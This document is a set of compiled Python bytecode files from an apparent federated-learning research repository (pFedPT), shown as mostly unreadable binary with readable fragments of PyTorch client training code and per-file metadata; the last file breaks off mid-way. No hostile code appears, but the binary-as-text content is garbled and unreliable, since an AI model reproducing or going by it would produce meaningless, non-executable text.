¡| _d S )N) r2 r r r rZ r rR r r` r. r )r ra Úwr! r% r% r& r_ ‚ s z clientFomo.weight_vector_updatec C s” d}| | j¡ xn|D ]f\}}t|ƒtg ƒkrD|d | j¡|d< n | | j¡}| | j¡}||ƒ}| ||¡}|| ¡ 7 }qW | ¡ |t|ƒ S )Nr )r. r r6 r rR r= rL )r Z new_modelr@ rb rC rD rE r r% r% r& rY Œ s zclientFomo.recalculate_lossc C s> x8t | j ¡ | ¡ ƒD ] \}}| j|j ¡ | 7 _qW d S )N)rZ r r ÚdataÚclone)r re rc ÚparamZreceived_paramr% r% r& Úadd_parameters› s zclientFomo.add_parametersc C sd | | |¡¡}t|ƒdkr`x | j ¡ D ]}|j ¡ q(W x$t|| jƒD ]\}}| ||¡ qHW d S )Nr )
Ú weight_scalerd rL r r rf Úzero_rZ r ri )r r@ Úweightsrh re rc r% r% r& r, Ÿ s z clientFomo.aggregate_parametersc sN t |t d¡¡}t |¡‰ ˆ dkr@‡ fdd„|D ƒ}t |¡S t g ¡S d S )Nr c s g | ] }|ˆ ‘qS r% r% )Ú.0re )Úw_sumr% r& ú
<listcomp> s z+clientFomo.weight_scale.<locals>.<listcomp>)r Úmaximumr` Úsum)r rl r% )rn r& rj © s
zclientFomo.weight_scale)N)Ú__name__Ú
__module__Ú __qualname__r
r/ r* rT rW rd r_ rY ri r, rj Ú
__classcell__r% r% )r$ r& r s #
r )r Útorch.nnr Únumpyr2 r+ r Úflcore.clients.clientbaser Útorch.utils.datar Úutils.data_utilsr r r% r% r% r& Ú<module> s | 5,079 | Python | .py | 47 | 106.978723 | 876 | 0.407709 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,655 | clientdynpt.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientdynpt.cpython-38.pyc | U
”jfcè ã @ sT d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dd„ Z
dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientDynPTc s¬ t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ |j | _ d | _
t | j¡}t|ƒ}t |¡| _tjj| jj ¡ | j
d�| _tjj| jj ¡ | j
d�| _ |j| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚalphaÚglobal_model_vectorÚcopyÚdeepcopyÚmodel_parameter_vectorÚ
zeros_likeÚold_gradÚ generatorÚ
poptimizerÚbaseÚ plocal_steps)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsr ©Ú __class__© õM D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientdynpt.pyr
s
zclientDynPT.__init__c C s¨ | ¡ }t ¡ }t | jj¡}| j | j¡ | j | j¡| _| j | j¡| _ | j
¡ | jj ¡ D ]
}d|_
qb| jj ¡ D ]
}d|_
qzt| jƒD ]¬}t|ƒD ]�\}\}}t|ƒtg ƒkrÎ|d | j¡|d< n | | j¡}| | j¡}| j�rt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ qœq�| j } | jj ¡ D ] }d|_
�qP| jj ¡ D ] }d|_
�qj| j�r’tj d| d ¡} t| ƒD ]ú}t|ƒD ]ê\}\}}t|ƒtg ƒk�rÚ|d | j¡|d< n | | j¡}| | j¡}| j�rt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
| j d k�r|t | jƒ} |
| j!d t" #| | j d¡ 7 }
|
t" $| | j¡8 }
|
¡ | j ¡ �q¦�qš| j d k�rÈt | jƒ %¡ } | j| j!| | j | _| j &¡ | j &¡ | _| j &¡ | _ | j'd d7 < | j'd t ¡ | 7 < t | jj¡}
d}t(| ¡ |
¡ ƒD ]<\}}|| }t" )|dk|t" *|¡| ¡}|t" +|¡ }�q:| j'd d7 < | j'd t ¡ | 7 < |S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost),Úload_train_dataÚtimer r r
r ÚtoÚdevicer r Útrainr r Ú
requires_gradÚranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepÚ local_stepsÚrandintr r r r
ÚnormÚdotÚdetachÚcpuÚtrain_time_costÚzipÚwherer Úsum)r Ú trainloaderÚ
start_timeÚ
old_promptÚparamr; ÚiÚxÚyÚoutputr Úmax_local_stepsÚv1Ú
new_promptÚ
diff_provalueÚ new_paramÚ old_paramÚdiff_pror$ r$ r% r. " s‚
zclientDynPT.trainc C sD t |j ¡ | jj ¡ ƒD ]\}}|j ¡ |_qt|ƒ ¡ ¡ | _d S )N) rC r r r
ÚdataÚcloner r@ r )r r
rR rS r$ r$ r% Úset_parameterss s zclientDynPT.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r. rW Ú
__classcell__r$ r$ r" r% r s Qr c C s dd„ | ¡ D ƒ}tj|dd�S )Nc S s g | ]}| d ¡‘qS )éÿÿÿÿ)Úview)Ú.0Úpr$ r$ r% Ú
<listcomp>| s z*model_parameter_vector.<locals>.<listcomp>r )Údim)r r
Úcat)r
rI r$ r$ r% r { s r ) r r
Útorch.nnr Únumpyr5 r+ Úflcore.clients.clientbaser r r r$ r$ r$ r% Ú<module> s o | 3,377 | Python | .py | 41 | 81.268293 | 328 | 0.393168 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,656 | clientt.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientt.cpython-37.pyc | B
v¹ccã ã @ sL d dl Z d dlmZ d dlZd dlZd dlmZ d dlZG dd„ deƒZ dS )é N)ÚClientc s4 e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Z‡ ZS ) ÚclientTc sl t ƒ j||||f|� t ¡ | _tjj| jj
¡ | j d�| _ tjj| jj
¡ | j d�| _| ¡ |j| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ generatorÚ
parametersÚ
learning_rateÚ
poptimizerÚbaseÚ optimizerÚser_paraÚ plocal_steps)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs)Ú __class__© úD/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientt.pyr
s
zclientT.__init__c C sx t | j¡ t | jjjj¡| jjj_t | jjjj¡| jjj_t | jjj j¡| jjj _t | jjj
j¡| jjj
_d S )N) r
Ú manual_seedr Ú rand_liker
r Zpad_downÚdataÚpad_leftÚ pad_rightZpad_up)r r r r r s
zclientT.ser_parac C sê | ¡ }t ¡ }t | jj¡}| j | j¡ | j ¡ | j }| j
rTt j
d|d ¡}x| jj ¡ D ]
}d|_qbW x| jj ¡ D ]
}d|_q~W x¼t|ƒD ]°}xªt|ƒD ]�\}\}} t|ƒtg ƒkrÖ|d | j¡|d< n | | j¡}| | j¡} | j
�rt dt t j ¡ ¡ ¡ | j ¡ | |¡}
| |
| ¡} | ¡ | j ¡ q¤W q–W | j ¡ t | jj¡} d}
xRt | ¡ | ¡ ƒD ]<\}}|| }t |dk|t |¡| ¡}|
t !|¡ }
�qzW | j"d d7 < | j"d t ¡ | 7 < |
S ) Né é TFr gš™™™™™¹?Ú
num_roundsÚ
total_cost)#Úload_train_dataÚtimeÚcopyÚdeepcopyr
r ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintr r Ú
requires_gradÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚcpuÚzipr
ÚwhereÚ
zeros_likeÚsumÚtrain_time_cost)r Ú trainloaderÚ
start_timeÚ
old_promptÚmax_local_stepsÚparamr= ÚiÚxÚyÚoutputr Ú
new_promptÚ
diff_provalueÚ new_paramÚ old_paramÚdiff_pror r r r. sF
z
clientT.trainc C s4 x.t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qW d S )N)r? r r
r r! Úclone)r r rO rP r r r Úset_parametersO s zclientT.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r r. rS Ú
__classcell__r r )r r r s 0r )
r
Útorch.nnr Únumpyr1 r) Ú system.flcore.clients.clientbaser r* r r r r r Ú<module> s | 2,599 | Python | .py | 34 | 75.294118 | 292 | 0.447389 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,657 | clientproto.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientproto.cpython-39.pyc | a
âæ`cš ã @ s` d dl mZ d dlZd dlZd dlmZ d dlZd dlZd dl m
Z
G dd„ de
ƒZ dd„ Z dS )é )Ú defaultdictN)ÚClientc s> e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Zd d
d „Z‡ ZS )
Ú clientProtoc s| t ƒ j||||fi |¤� t ¡ | _tjj| j ¡ | j
d�| _ t | jj
¡ ƒd jd | _d | _d | _t ¡ | _|j| _d S )N)Úlrr é )ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚlistÚ predictorÚshapeZ feature_dimÚprotosÚ
global_protosÚMSELossÚloss_mseÚlamda)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© út/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientproto.pyr s
zclientProto.__init__c C sÜ | ¡ }t ¡ }| j ¡ | j}| jr8tj d|d ¡}t t
ƒ}t |ƒD �]V}t |ƒD �]F\}\}}t
|ƒt
g ƒkrŠ|d | j¡|d< n | | j¡}| | j¡}| jrÂt dt tj ¡ ¡ ¡ | j ¡ | j |¡} | j | ¡}
| |
|¡} | jd k�rPt | ¡} t |ƒD ]*\}}
|
¡ }| j| j | |d d …f< �q| | | | ¡| j 7 } t |ƒD ]2\}}
|
¡ }|| | |d d …f ¡ j ¡ �qX| !¡ | j "¡ qVqHt#|ƒ| _$| j%d d7 < | j%d t ¡ | 7 < d S )Nr é r çš™™™™™¹?Ú
num_roundsÚ
total_cost)&Úload_train_dataÚtimer ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintr r ÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandr Ú zero_gradÚbaser r r r Ú
zeros_likeÚitemÚdatar r ÚappendÚdetachÚbackwardÚstepÚagg_funcr Útrain_time_cost)r Ú trainloaderÚ
start_timeÚmax_local_stepsr rA ÚiÚxÚyÚrepÚoutputr Z proto_newÚyyÚy_cr# r# r$ r+ sB
$
zclientProto.trainc C s t |¡| _d S )N)ÚcopyÚdeepcopyr )r r r# r# r$ Ú
set_protosN s zclientProto.set_protosc C s | ¡ }| j ¡ ttƒ}t ¡ �Ô t|ƒD ]º\}\}}t|ƒtg ƒkr^|d | j
¡|d< n | | j
¡}| | j
¡}| j r–t
dt tj ¡ ¡ ¡ | j ¡ | j |¡}t|ƒD ]0\}}| ¡ }|| ||d d …f ¡ j¡ q´q,W d ƒ n1 sü0 Y t|ƒ| _d S )Nr r& )r) r Úevalr r r Úno_gradr2 r3 r4 r5 r- r* r6 r. r7 r/ r8 r r9 r: r< r> r? r= rB r ) r rD r rG rH rI rJ rL rM r# r# r$ Úcollect_protosQ s"
BzclientProto.collect_protosNc
C s> | ¡ }|d kr| j}| ¡ d}d}t ¡ �ô |D ]Ş\}}t|ƒtg ƒkrb|d | j¡|d< n | | j¡}| | j¡}| j |¡}t dƒt
|j d | j ¡ | j¡ }t
|ƒD ]0\} }
| j ¡ D ] \} } | |
| ¡|| | f< qÄq²|t tj|dd�|k¡ ¡ 7 }||j d 7 }q4W d ƒ n1 �s*0 Y ||dfS )Nr Úinfr )Údim)Úload_test_datar rQ r rR r3 r4 r5 r: ÚfloatÚonesr Ú num_classesr2 r Úitemsr ÚsumÚargminr< )
r r Ú
testloaderÚtest_accÚtest_numrH rI rJ rK rG ÚrÚjÚpror# r# r$ Ú test_metricsh s(
$ 0zclientProto.test_metrics)N) Ú__name__Ú
__module__Ú __qualname__r r+ rP rS rc Ú
__classcell__r# r# r! r$ r s
3r c C sb | ¡ D ]T\}}t|ƒdkrPd|d j }|D ]}||j7 }q.|t|ƒ | |< q|d | |< q| S )z-
Returns the average of the weights.
r r )rZ Úlenr= )r ÚlabelÚ
proto_listÚprotorG r# r# r$ rB † s rB )
Ú collectionsr rN r Útorch.nnr Únumpyr. r* Úflcore.clients.clientbaser r rB r# r# r# r$ Ú<module> s { | 3,980 | Python | .py | 39 | 100.794872 | 408 | 0.40208 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,658 | clientditto.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientditto.cpython-39.pyc | a
$æ`cù ã @ s‚ d dl Z d dlZd dlZd dlZd dlmZ d dlmZ d dl m
Z
d dl m m Z
d dlmZ d dlmZ G dd„ de
ƒZdS )é N)ÚPerturbedGradientDescent)ÚClient)Úlabel_binarize)Úmetricsc s4 e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Z‡ ZS ) Ú clientDittoc sz t ƒ j||||fi |¤� |j| _|j| _t | j¡| _t ¡ | _
t j j
| j ¡ | jd�| _t| j ¡ | j| jd�| _d S )N)Úlr)r Úmu)ÚsuperÚ__init__r Ú plocal_stepsÚcopyÚdeepcopyÚmodelÚpmodelÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚ
parametersÚ
learning_rateÚ optimizerr Ú
poptimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© út/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientditto.pyr
s
ÿzclientDitto.__init__c
C s6 | ¡ }t ¡ }| j ¡ | j}| jr8tj d|d ¡}t |ƒD ]Ä}t
|ƒD ]¶\}\}}t |ƒt g ƒkr~|d | j
¡|d< n | | j
¡}| | j
¡}| jr¶t dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | jrøt| j|t|ƒƒ qL| j ¡ qLq@| jd d7 < | jd t ¡ | 7 < d S )Né é r çš™™™™™¹?Ú
num_roundsÚ
total_cost)Úload_train_dataÚtimer ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚprivacyÚdp_stepÚlenÚstepÚtrain_time_cost)
r Ú trainloaderÚ
start_timeÚmax_local_stepsr> ÚiÚxÚyÚoutputr r" r" r# r+ ! s.
zclientDitto.trainc C s | ¡ }t ¡ }| j ¡ | j}| jr8tj d|d ¡}t |ƒD ]®}|D ]¤\}}t
|ƒt
g ƒkrv|d | j ¡|d< n | | j ¡}| | j ¡}| jr®t
dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡}| ¡ | j | j ¡ | j ¡ qHq@| jd t ¡ | 7 < d S )Nr$ r% r r& r( )r) r* r r+ r r- r. r/ r0 r1 r3 r4 r5 r6 r7 r8 r r9 r r: r> r r r? ) r r@ rA rB r> rD rE rF r r" r" r# ÚptrainI s(
zclientDitto.ptrainc
C sH | ¡ }| j ¡ d}d}g }g }t ¡ �Ö |D ]À\}}t|ƒtg ƒkr^|d | j¡|d< n | | j¡}| | j¡}| |¡}|t tj |dd�|k¡
¡ 7 }||j d 7 }| t
|¡ ¡ ¡ ¡ ¡ | t| ¡ ¡ ¡ t | j¡d�¡ q0W d ƒ n1 �s0 Y tj|dd�}tj|dd�}tj||dd�} ||| fS )Nr r$ )Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datar Úevalr Úno_gradr3 r4 r5 ÚsumÚargmaxÚitemÚshapeÚappendÚFÚsoftmaxÚdetachÚcpuÚnumpyr r. ÚarangeÚ num_classesÚ concatenater Ú
roc_auc_score)
r ÚtestloaderfullÚtest_accÚtest_numÚy_probÚy_truerD rE rF Úaucr" r" r# Ú test_metricsh s*
HzclientDitto.test_metrics)Ú__name__Ú
__module__Ú __qualname__r
r+ rG rd Ú
__classcell__r" r" r r# r s ( r )r rY r. r* r Útorch.nnr Ú flcore.optimizers.fedoptimizerr Úflcore.clients.clientbaser Útorch.nn.functionalÚ
functionalrU Úsklearn.preprocessingr Úsklearnr r r" r" r" r# Ú<module> s | 3,460 | Python | .py | 34 | 100.705882 | 420 | 0.432156 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,659 | clientapfl.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientapfl.cpython-39.pyc | a
f¾`c€
ã @ sL d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú
clientAPFLc sr t ƒ j||||fi |¤� t ¡ | _tjj| j ¡ | j
d�| _ |j | _ t
| j¡| _tjj| j ¡ | j
d�| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚalphaÚcopyÚdeepcopyÚ model_perÚ
optimizer_per)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© ús/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientapfl.pyr
s
zclientAPFL.__init__c C s’ | ¡ }t ¡ }| j ¡ | j}| jr8tj d|d ¡}t |ƒD ]ä}t
|ƒD ]Ö\}\}}t |ƒt g ƒkr~|d | j
¡|d< n | | j
¡}| | j
¡}| jr¶t dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ | j ¡ | |¡}
| |
|¡} | ¡ | j ¡ | ¡ qLq@t| j ¡ | j ¡ ƒD ]$\} }
d| j |
| j| | _ �q<| j d d7 < | j d t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost) Úload_train_dataÚtimer
ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepr r Ú alpha_updateÚzipr r ÚdataÚtrain_time_cost)r Ú trainloaderÚ
start_timeÚmax_local_stepsr6 ÚiÚxÚyÚoutputr Z
output_perZloss_perÚlpÚpr r r r& s:
zclientAPFL.trainc C s¦ d}t | j ¡ | j ¡ ƒD ]P\}}|j|j }| j|jj d| j |jj }|| d¡j | d¡¡7 }q|d| j 7 }| j| j
| | _t | j
¡ dd¡| _d S )Nr r éÿÿÿÿg{®Gáz”?g g ğ?)r8 r
r r r9 r ÚgradÚviewÚTÚdotr r) ÚclipÚitem)r Z
grad_alphaZl_paramsZp_paramsZdifrE r r r r7 > s zclientAPFL.alpha_update)Ú__name__Ú
__module__Ú __qualname__r r& r7 Ú
__classcell__r r r r r s
*r )
r r
Útorch.nnr Únumpyr) r% Úflcore.clients.clientbaser r r r r r Ú<module> s | 2,383 | Python | .py | 30 | 78.366667 | 277 | 0.434579 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,660 | clientphp.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientphp.cpython-39.pyc | a
Èæ`c ã @ sV d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ ddd„Z
dS ) é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientPHPc s| t ƒ j||||fi |¤� t ¡ | _tjj| j ¡ | j
d�| _ |j |j
| _ |j| _t | j¡| _| j ¡ D ]
}d|_qld S )N)ÚlrF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚmuÚ
global_roundsÚlamdaÚcopyÚdeepcopyÚmodel_sÚ
requires_grad)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsÚparam©Ú __class__© úr/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientphp.pyr s
zclientPHP.__init__c
C sP | ¡ }t ¡ }| j ¡ | j}| jr8tj d|d ¡}t |ƒD ]Ş}t
|ƒD ]Ğ\}\}}t |ƒt g ƒkr~|d | j
¡|d< n | | j
¡}| | j
¡}| jr¶t dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡d| j } | t| j |¡| j |¡d| j
ƒ| j 7 } | ¡ | j ¡ qLq@| jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?ÚrbfÚ
num_roundsÚ
total_cost)Úload_train_dataÚtimer
ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandr Ú zero_gradr r ÚMMDÚbaser ÚbackwardÚstepÚtrain_time_cost)
r Ú trainloaderÚ
start_timeÚmax_local_stepsr< ÚiÚxÚyÚoutputr r! r! r" r* s,
*zclientPHP.trainc C sl | j | }t| ¡ | j ¡ ƒD ]\}}|j ¡ |_q t| ¡ | j ¡ ƒD ] \}}|d| || |_qHd S )Nr# )r Úzipr r ÚdataÚcloner
)r r
ÚRr Ú new_paramÚ old_paramr! r! r" Úset_parameters: s
zclientPHP.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r* rK Ú
__classcell__r! r! r r" r
s !r Úcpuc C s¸ t | | ¡ ¡t || ¡ ¡t | | ¡ ¡ }}}| ¡ d¡ |¡}| ¡ d¡ |¡}| ¡ | d| } | ¡ | d| }
| ¡ | d| } t |j¡ |¡t |j¡ |¡t |j¡ |¡ } }
}|dk�rBg d¢}|D ]X}| |d |d | d 7 } |
|d |d |
d 7 }
||d |d | d 7 }qè|dk�r¢g d¢}|D ]H}| t d | | ¡7 } |
t d |
| ¡7 }
|t d | | ¡7 }�qXt
| |
d| ¡S )
a Emprical maximum mean discrepancy. The lower the result
the more evidence that distributions are the same.
Args:
x: first sample, distribution P
y: second sample, distribution Q
kernel: kernel type such as "multiscale" or "rbf"
r g @Z
multiscale)gš™™™™™É?g à?gÍÌÌÌÌÌì?gÍÌÌÌÌÌô?r$ éÿÿÿÿr% )é
é é é2 g à¿) r
ÚmmÚtÚdiagÚ unsqueezeÚ expand_asÚzerosÚshaper3 ÚexpÚmean)rB rC Úkernelr4 ÚxxÚyyÚzzÚrxÚryZdxxZdyyZdxyÚXXÚYYZXYZbandwidth_rangeÚar! r! r" r9 D s. 4ş
r9 )rP ) r r
Útorch.nnr Únumpyr- r) Úflcore.clients.clientbaser r r9 r! r! r! r" Ú<module> s : | 3,288 | Python | .py | 39 | 82.230769 | 313 | 0.429671 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,661 | clientbase.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbase.cpython-38.pyc | U
ºşch ã @ s‚ d dl Z d dlZd dlmZ d dlZd dlZd dlm mZ d dl
m Z d dl m
Z
d dlmZ d dlmZ G dd„ deƒZdS )é N)Ú
DataLoader)Úlabel_binarize)Úmetrics)Úread_client_datac @ sh e Zd ZdZdd„ Zddd„Zddd„Zd d
„ Zd d „ Zd
d„ Z dd„ Z
dd„ Z ddd„Z ddd„Z
dS )ÚClientz7
Base class for clients in federated learning.
c K sØ t |j¡| _|j| _|j| _|| _|j| _|| _|j| _|| _ || _
|j | _ |j | _
|j| _d| _| j ¡ D ]}t|tjƒrnd| _ qŠqn|d | _|d | _dddœ| _dddœ| _|j| _|j| _| j | j | _d S )NFTÚ
train_slowÚ send_slowr g )Ú
num_roundsÚ
total_cost)ÚcopyÚdeepcopyÚmodelÚdatasetÚdeviceÚidÚsave_folder_nameÚargsÚ num_classesÚ
train_samplesÚ test_samplesÚ
batch_sizeÚlocal_learning_rateÚ
learning_rateÚ local_stepsZ
has_BatchNormÚchildrenÚ
isinstanceÚnnÚ BatchNorm2dr r Útrain_time_costZsend_time_costÚprivacyZdp_sigmaÚ sample_rate)Úselfr r r r ÚkwargsÚlayer© r$ õb D:\京东\promot\第二次投稿\å®�验\æœ�务器\native - pro\system\flcore\clients\clientbase.pyÚ__init__ s0
zClient.__init__Nc C s4 |d kr| j }t| j| j| jdd�}t||ddd�S )NT©Zis_train©Ú drop_lastÚshuffle©r r r r r r )r! r Ú
train_datar$ r$ r% Úload_train_data2 s zClient.load_train_datac C s4 |d kr| j }t| j| j| jdd�}t||ddd�S )NFr' Tr( r+ )r! r Ú test_datar$ r$ r% Úload_test_data8 s zClient.load_test_datac C s. t | ¡ | j ¡ ƒD ]\}}|j ¡ |_qd S ©N)ÚzipÚ
parametersr
ÚdataÚclone)r! r
Ú new_paramÚ old_paramr$ r$ r% Úset_parameters> s zClient.set_parametersc C s, t | ¡ | ¡ ƒD ]\}}|j ¡ |_qd S r0 ©r1 r2 r3 r4 )r! r
ÚtargetÚparamZ target_paramr$ r$ r% Ú clone_modelB s zClient.clone_modelc C s( t | ¡ |ƒD ]\}}|j ¡ |_qd S r0 r8 )r! r
Ú
new_paramsr: r5 r$ r$ r% Úupdate_parametersG s zClient.update_parametersc
C sD | ¡ }| j | j¡ | j ¡ d}d}g }g }t ¡ �Æ |D ]º\}}t|ƒtg ƒkrl|d | j¡|d< n | | j¡}| | j¡}| |¡}|t tj |dd�|k¡
¡ 7 }||j d 7 }| |
¡ ¡ ¡ ¡ | t|
¡ ¡ ¡ t | j¡d�¡ q>W 5 Q R X | j ¡ tj|dd�}tj|dd�}tj||dd�} ||| fS )Nr é )Údim)Úclasses)ÚaxisÚmicro)Úaverage)r/ r
Útor ÚevalÚtorchÚno_gradÚtypeÚsumÚargmaxÚitemÚshapeÚappendÚdetachÚcpuÚnumpyr ÚnpÚaranger Ú concatenater Z
roc_auc_score)
r! ZtestloaderfullZtest_accZtest_numZy_probZy_trueÚxÚyÚoutputZaucr$ r$ r% Ú test_metricsK s.
2
zClient.test_metricsc C s¼ | ¡ }| j | j¡ | j ¡ d}d}|D ]|\}}t|ƒtg ƒkrZ|d | j¡|d< n | | j¡}| | j¡}| |¡}||jd 7 }|| ||¡ ¡ |jd 7 }q,| j ¡ ||fS )Nr )
r- r
rD r rE rH rL ÚlossrK rO )r! Ú trainloaderZ train_numrX rT rU rV r$ r$ r% Ú
train_metricsr s
zClient.train_metricsc C sT |d kr| j }tj |¡s$t |¡ t |tj |dt| j ƒ d | d ¡¡ d S ©NZclient_Ú_z.pt)
r ÚosÚpathÚexistsÚmakedirsrF ÚsaveÚjoinÚstrr )r! rK Ú item_nameÚ item_pathr$ r$ r% Ú save_itemš s
zClient.save_itemc C s8 |d kr| j }t tj |dt| jƒ d | d ¡¡S r[ )r rF Úloadr] r^ rb rc r )r! rd re r$ r$ r% Ú load_item¡ s zClient.load_item)N)N)N)N)Ú__name__Ú
__module__Ú __qualname__Ú__doc__r& r- r/ r7 r; r= rW rZ rf rh r$ r$ r$ r% r
s
'(
r )r rF Útorch.nnr rP rQ r] Útorch.nn.functionalÚ
functionalÚFÚtorch.utils.datar Zsklearn.preprocessingr Zsklearnr Zutils.data_utilsr Úobjectr r$ r$ r$ r% Ú<module> s | 4,438 | Python | .py | 38 | 115.5 | 425 | 0.428312 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,662 | clientrep.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientrep.cpython-38.pyc | U
Ǭkc ã @ sD d dl Z d dlmZ d dlZd dlZd dlmZ G dd„ deƒZdS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientRepc sd t ƒ j||||f|� t ¡ | _tjj| jj
¡ | j d�| _ tjj| jj
¡ | j d�| _|j| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ
parametersÚ
learning_rateÚ optimizerÚ predictorÚ
poptimizerÚ plocal_steps)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õW D:\京东\promot\第二次投稿\å®�验\native - pro\system\flcore\clients\clientrep.pyr
s
zclientRep.__init__c C sX | ¡ }t ¡ }| j | j¡ | j ¡ | jj ¡ D ]
}d|_q4| jj ¡ D ]
}d|_qLt
| j ƒD ]ª}t |ƒD ]œ\}\}}t
|ƒt
g ƒkr |d | j¡|d< n | | j¡}| | j¡}| jrØt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ qnqb| j}
| j�r.tj d|
d ¡}
| jj ¡ D ] }d|_�q:| jj ¡ D ] }d|_�qTt
|
ƒD ]²}t |ƒD ]¢\}\}}t
|ƒt
